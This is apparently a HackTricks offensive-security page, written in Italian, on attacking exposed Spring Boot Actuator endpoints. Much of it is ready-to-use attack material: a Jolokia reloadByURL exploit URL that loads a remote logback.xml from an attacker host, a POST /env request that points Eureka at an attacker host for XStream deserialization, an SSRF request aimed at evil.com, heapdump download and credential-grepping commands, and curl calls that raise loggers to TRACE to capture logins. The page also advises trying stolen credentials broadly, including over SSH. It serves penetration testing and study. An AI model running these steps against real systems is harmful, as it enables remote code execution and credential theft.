Spring Actuators
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Spring Auth Bypass
.png)
Fonte https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Sfruttare Spring Boot Actuators
Vedi il post originale su [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Punti chiave:
- Spring Boot Actuators registrano endpoint come
/health
,/trace
,/beans
,/env
, ecc. Nelle versioni 1 fino a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo/health
e/info
sono non sensibili di default, ma gli sviluppatori spesso disabilitano questa protezione. - Alcuni endpoint Actuator possono esporre dati sensibili o permettere azioni dannose:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
, and/heapdump
.- In Spring Boot 1.x, gli actuators sono registrati sotto l'URL root, mentre in 2.x si trovano sotto il percorso base
/actuator/
.
Tecniche di sfruttamento:
- Remote Code Execution via '/jolokia':
- L'endpoint
/jolokia
espone la Jolokia Library, che permette accesso HTTP agli MBeans. - L'azione
reloadByURL
può essere sfruttata per ricaricare configurazioni di logging da un URL esterno, il che può portare a blind XXE o a Remote Code Execution tramite configurazioni XML manipolate. - Esempio di URL di exploit:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
- Modifica della configurazione tramite '/env':
- Se sono presenti le Spring Cloud Libraries, l'endpoint
/env
permette la modifica delle proprietà ambientali. - Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la deserializzazione XStream nella serviceURL di Eureka.
- Esempio di richiesta POST di exploit:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Altre impostazioni utili:
- Proprietà come
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
, espring.datasource.tomcat.max-active
possono essere manipolate per diversi exploit, come SQL injection o la modifica delle stringhe di connessione al database.
Informazioni aggiuntive:
- Una lista completa degli actuators di default può essere trovata qui.
- L'endpoint
/env
in Spring Boot 2.x usa il formato JSON per la modifica delle proprietà, ma il concetto generale rimane lo stesso.
Argomenti correlati:
- Env + H2 RCE:
- Dettagli sull'exploit della combinazione dell'endpoint
/env
e del database H2 si trovano qui.
- SSRF su Spring Boot attraverso interpretazione errata del pathname:
- Il comportamento del framework Spring nella gestione dei parametri matrix (
;
) nei path HTTP può essere sfruttato per Server-Side Request Forgery (SSRF). - Esempio di richiesta di exploit:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
HeapDump secrets mining (credenziali, token, URL interni)
Se /actuator/heapdump
è esposto, di solito puoi recuperare un snapshot completo dell'heap JVM che spesso contiene secret attivi (credenziali DB, API key, Basic-Auth, URL di servizi interni, mappe di proprietà di Spring, ecc.).
- Download e triage rapido:
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
- Analisi approfondita con VisualVM e OQL:
- Apri heapdump in VisualVM, ispeziona le istanze di
java.lang.String
o esegui OQL per cercare segreti:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
- Estrazione automatizzata con JDumpSpider:
java -jar JDumpSpider-*.jar heapdump
Tipici ritrovamenti ad alto valore:
- Oggetti Spring
DataSourceProperties
/HikariDataSource
che espongonourl
,username
,password
. - Voci
OriginTrackedMapPropertySource
che rivelanomanagement.endpoints.web.exposure.include
, porte dei servizi e Basic-Auth incorporato nelle URL (es., EurekadefaultZone
). - Frammenti HTTP plain di richieste/risposte contenenti
Authorization: Basic ...
catturati in memoria.
Consigli:
- Usa una wordlist focalizzata su Spring per scoprire rapidamente gli endpoint actuator (es., SecLists spring-boot.txt) e controlla sempre se anche
/actuator/logfile
,/actuator/httpexchanges
,/actuator/env
e/actuator/configprops
sono esposti. - Le credenziali estratte dall'heapdump spesso funzionano su servizi adiacenti e talvolta per utenti di sistema (SSH), quindi provale in modo esteso.
Abusing Actuator loggers/logging to capture credentials
Se management.endpoints.web.exposure.include
lo permette e /actuator/loggers
è esposto, puoi aumentare dinamicamente i livelli di log a DEBUG/TRACE per i package che gestiscono l'autenticazione e l'elaborazione delle richieste. Combinato con log leggibili (via /actuator/logfile
o percorsi di log noti), questo può causare il leak di credenziali inviate durante i flussi di login (es., header Basic-Auth o parametri di form).
- Enumerate and crank up sensitive loggers:
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
- Find where logs are written and harvest:
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
Genera traffico di login/autenticazione e analizza il log per trovare credenziali. In architetture a microservizi con un gateway che fronta l'autenticazione, abilitare TRACE per i package gateway/security spesso rende visibili header e body dei form. Alcuni ambienti generano addirittura traffico di login sintetico periodicamente, rendendo la raccolta banale una volta che il livello di logging è elevato.
Note:
- Reimposta i livelli di log quando hai finito:
POST /actuator/loggers/<logger>
con{ "configuredLevel": null }
. - Se
/actuator/httpexchanges
è esposto, può anche esporre metadata recenti delle richieste che possono includere header sensibili.
Riferimenti
- Exploring Spring Boot Actuator Misconfigurations (Wiz)
- VisualVM
- JDumpSpider
- 0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.